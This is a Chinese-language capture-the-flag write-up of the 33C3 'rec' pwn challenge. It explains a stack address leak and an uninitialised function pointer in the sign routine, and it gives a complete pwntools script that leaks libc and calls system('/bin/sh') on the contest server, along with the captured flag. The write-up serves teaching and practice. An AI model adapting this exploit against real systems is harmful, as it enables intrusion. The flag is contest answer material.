Info
Category: pwn
Point: 200
Author: bruce30262 @ BambooFox
Analyzing
32 bit ELF, 保護全開
程式選單:
$ ./rec
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
>
整理一下幾個較為重要的 function:
- Take note: 輸入一個 note
- Read note: 印出剛剛輸入的 note
- Polish: 可以做
sum
運算 - Sign: 輸入一個數字,然後印說它是正數還是負數
首先會發現到 Read note 那邊怪怪的:
$ ./rec
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 0
Your note: 123
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 1
Your note:�VXV`�s��`XV <-- WTF?
會印出亂碼是因為 take note 的時候,程式會將一個 stack address 當成 note 的 buffer。之後離開該 function 時,因為 function epilogue 的關係,程式會在該 stack address 上面塞入一些 (有用的) address。因此透過 read note,我們可以 leak 出 stack address 跟 text 段的 base address。
此外程式在 sign
function 裡面有個邏輯漏洞:
if ( num <= 0 )
{
if ( num < 0 )
v1 = (void (*)(void))puts_negative;
}
else
{
v1 = (void (*)(void))puts_positive;
}
v1();
對於正數和負數 sign
function 都有做好處理,但是如果我們輸入 0
的話呢?
$ ./rec
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 5
0
[1] 40091 segmentation fault (core dumped) ./rec
程式 crash 了。這是因為 sign
裡面沒有處理 0
的情形,導致程式沒有 assign function pointer 給 v1
,進而讓程式執行到 v1()
時產生了 segmentation fault。
Exploit
首先觀察一下 sign
function 裡面 assign function pointer 時的組語:
0x56555d3b: mov eax,DWORD PTR [ebp-0x20] <-- &v1 = ebp-0x20
0x56555d3e: call eax
可以看到,如果我們有辦法控制到 [ebp-0x20]
的值的話,我們就有把辦法控制到 eax
的值,進而控制程式的 control flow。
透過 gdb 我們還發現到 sign
這個 function 的 stack frame 比起其他的 function 都還要來的”高”( ebp
的值較低 )。因此如果要有辦法控制到 v1
,我們必須想辦法在其他 function 裡面盡量”拉高” stack frame,進而控制到 v1
的值。
經過一連串的 fuzzing,我發現如果使用 Polish 的 sum
功能,我們可以藉由不斷的輸入數字來”拉高”程式的 stack frame,原因是因為程式會不斷地將數字 push 到 stack 上。透過這樣的方式,我們不但可以控制到 v1
( function pointer ),還可以控制到 function 的參數 !
因此總結一下思路:
- 利用 take note 和 read note 來 leak text 段的 base address
- 利用 Polish 的
sum
功能來控制sign
function 裡面的 function pointer 和 function 參數。 - 我們首先將 function pointer 設成
puts
,參數設成__libc_start_main@got
( 這題因為是 FULL RELRO 的關係沒有.got.plt
) - 呼叫
sign
function,數字輸入0
,讓程式執行puts(__libc_start_main@got)
- 得到 libc 的 base address 之後重複 step 2~4,這次將目標改成執行
system("/bin/sh")
Final exploit : ( 這題 libc 的資訊可以透過 libc-database 來獲得 )
#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
import numpy
HOST = "78.46.224.74"
PORT = 4127
ELF_PATH = "./rec"
# setting
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
elf = ELF(ELF_PATH)
def take_note(note):
r.sendlineafter("> ", "0")
r.sendlineafter("note: ", note)
def read_note():
r.sendlineafter("> ", "1")
def polish_sum(nums):
r.sendlineafter("> ", "2")
r.sendlineafter("Operator:", "S")
for num in nums:
print "adding:", num
r.sendlineafter("Operand:", str(num))
r.sendlineafter("Operand:", ".")
def sign(num):
r.sendlineafter("> ", "5")
r.sendline(str(num))
if __name__ == "__main__":
r = remote(HOST, PORT)
#r = process(ELF_PATH)
take_note("123")
read_note()
r.recvuntil("note: ")
fptr_addr = u32(r.recv(4)) - 0x350 # where the function pointer be loaded
text_base = u32(r.recv(4)) - 0x6fb
puts = text_base + 0x520
lsm_got = text_base + 0x2fe0
puts_got = text_base + 0x2fd8
log.success("fptr_addr: "+hex(fptr_addr))
log.success("text_base: "+hex(text_base))
nums = [i for i in xrange(0x63)] + [puts, lsm_got]
polish_sum(nums)
sign(0) # this will call puts(lsm_got)
lsm_addr = u32(r.recv(4))
#########################################
#$ ./dump libc6-i386_2.24-3ubuntu2_amd64
#offset___libc_start_main = 0x00018180
#offset_system = 0x0003a8b0
#offset_str_bin_sh = 0x15cbcf
#########################################
system_addr = lsm_addr + 0x22730
bin_sh = lsm_addr + 0x144a4f
log.success("lsm: "+hex(lsm_addr))
log.success("system: "+hex(system_addr))
log.success("bin_sh: "+hex(bin_sh))
nums = [i for i in xrange(0x63)] + [numpy.int32(system_addr), numpy.int32(bin_sh)]
polish_sum(nums)
sign(0) # this time will call system("/bin/sh")
r.interactive()
flag: 33C3_L0rd_Nikon_would_l3t_u_1n